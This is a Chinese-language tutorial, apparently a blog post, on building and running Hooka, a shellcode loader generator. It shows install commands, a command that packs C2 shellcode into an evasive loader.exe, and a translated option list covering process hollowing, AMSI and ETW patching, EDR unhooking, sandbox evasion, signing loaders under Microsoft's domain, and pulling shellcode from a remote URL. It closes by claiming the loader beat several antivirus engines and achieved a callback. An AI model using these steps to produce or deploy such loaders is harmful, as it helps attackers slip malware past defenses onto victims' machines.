免责声明:
本文旨在提供有关特定漏洞的深入信息,帮助用户充分了解潜在的安全风险。发布此信息的目的在于提升网络安全意识和推动技术进步,未经授权访问系统、网络或应用程序,可能会导致法律责任或严重后果。因此,作者不对读者基于本文内容所采取的任何行为承担责任。读者在使用本文信息时,必须严格遵循适用的法律法规及服务协议,自行承担一切风险与责任。如涉及侵权,请及时与我们联系,我们将尽快处理并删除相关内容。
项目介绍:
Hooka 能够生成具有多种功能的 shellcode 加载器。它还基于 BokuLoader、Freeze 或 Shhhloader 等其他工具,并尝试实现更多规避功能。
先安装Golang
wget https://go.dev/dl/go1.21.1.linux-amd64.tar.gz
然后执行解压安装
sudo tar -C /usr/local -xzf go1.21.1.linux-amd64.tar.gz
配置环境变量
echo 'export PATH=$PATH:/usr/local/go/bin' >> ~/.bashrc
source ~/.bashrc
验证是否安装成功
go version
下载好项目后打开
git clone https://github.com/D3Ext/Hooka
cd Hooka
执行make
发现出现的错误是因为 Go
在构建时尝试从 https://proxy.golang.org
下载依赖包,但由于网络问题(例如代理配置或无法访问外网),导致无法连接到 Go 模块代理服务。
配置 Go 使用国内镜像
go env -w GOPROXY=https://goproxy.cn,direct
go env | grep GOPROXY
执行完毕可以看见多了一个build的文件夹然后cd build
给与权限
chmod 777 hooka_linux_amd64
先用之前vshell的生成amd64位shellcode 放到同一文件夹下执行命令生成简单的 EXE 加载程序
./hooka_linux_amd64 -i shellcode.bin -o loader.exe
成功生成
使用参数我简单翻译了一点
_ _ _ _
| | | | ___ ___ | | __ __ _ | |
| |_| | / _ \ / _ \ | |/ / / _` | | |
| _ | | (_) | | (_) | | < | (_| | |_|
|_| |_| \___/ \___/ |_|\_\ \__,_| (_)Hooka 用法:
必需:
-i,--输入要注入的字符串有效负载原始格式,作为 PE、作为 DLL 或来自 URL
-o,--输出字符串输出文件的名称(即 loader.exe)
-f,--格式字符串要生成的有效负载的格式(可用:exe、dll)(默认 exe)执行:
--proc 字符串 在需要给定执行技术时生成的进程(处于挂起状态)(默认 notepad.exe)
--exec 字符串 用于加载 shellcode 的技术(默认“SuspendedProcess”):
SuspendedProcess
ProcessHollowing
NtCreateThreadEx
EtwpCreateEtwThread
NtQueueApcThreadEx No-RWX辅助:
-a,--arch 字符串要生成的加载程序的体系结构(默认为 amd64)
-c, --cert 字符串证书,用于对生成的加载程序进行签名(即 cert.pfx)
-d, --domain 字符串域,用于对加载程序进行签名(即www.microsoft.com)编码:
--enc 字符串使用给定算法加密 shellcode(可用算法:aes、3des、rc4、xor)(默认无)
--sgn 使用 Shikata Ga Nai 对生成的加载程序进行编码(必须安装在路径上)
--strings 使用凯撒密码对字符串进行模糊处理规避:
--unhook 要使用的字符串解钩技术(可用:完整版、peruns)
--sandbox 启用沙盒规避
--no-amsi 不修补 AMSI
--no-etw 不修补 ETW
--hashing 使用哈希检索函数指针
--acg 启用 ACG Guard 以防止 AV/EDR 修改现有的可执行代码
--blockdlls 防止非 Microsoft 签名的 DLL 注入子进程
--phantom 使用 Phant0m 技术暂停 EventLog 线程。需要高权限,否则加载程序会跳过此步骤
--sleep 使用自定义睡眠功能延迟 shellcode 执行额外:
--calc 使用 calc.exe shellcode 测试加载程序功能(不提供输入文件)
--compress 使用压缩生成的加载程序Golang 编译器和 UPX(如果已安装)
-r, --rand 使用一组随机参数创建随机加载器(仅用于测试目的)
-v, --verbose 启用详细打印额外信息
-h, --help 打印帮助面板示例:
hooka -i shellcode.bin -o loader.exe
hooka -i http://192.168.1.126/shellcode.bin -o loader.exe
hooka -i shellcode.bin -o loader.exe --exec NtCreateThreadEx --完全解除挂钩 --sleep 60 --acg
hooka -i shellcode.bin -o loader.dll --domain www.domain.com --enc aes --verbose
以下是vt+火绒+360+杀毒+微步的查杀效果
成功上线
项目地址:https://github.com/D3Ext/Hooka